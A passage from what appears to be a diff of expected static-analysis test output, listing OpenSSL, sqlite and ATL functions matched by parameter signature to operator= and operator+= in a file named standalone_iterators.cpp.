pulldown_test_framework | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_clear_bit | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_mask_bits | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_set_bit | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | bn_expand2 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | bn_wexpand | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_find_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_init | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_retry_reason | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | TXT_DB_read | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DH *,int) | | DH_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DH *,int) | | DH_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DSA *,int) | | DSA_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DSA *,int) | | DSA_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA *,int) | | RSA_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA *,int) | | RSA_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_key_update | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_read_ahead | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_security_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_verify_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | ssl_md | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509 *,int) | | X509_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509 *,int) | | X509_self_signed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (acttab *,int) | | acttab_insert | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (char *,int) | | PEM_proc_type | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (char,int) | CStringT | CStringT | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIGNUM *,int) | | BN_get_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIO *,int) | | BIO_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIO *,int) | | BIO_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DH *,int) | | DH_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DH *,int) | | DH_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DH *,int) | | ossl_dh_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DSA *,int) | | DSA_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DSA *,int) | | DSA_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DSA *,int) | | ossl_dsa_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const RSA *,int) | | RSA_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const RSA *,int) | | RSA_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const RSA *,int) | | ossl_rsa_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL *,int) | | SSL_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const UI *,int) | | UI_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509 *,int) | | X509_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509 *,int) | | X509_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_STORE_CTX *,int) | | 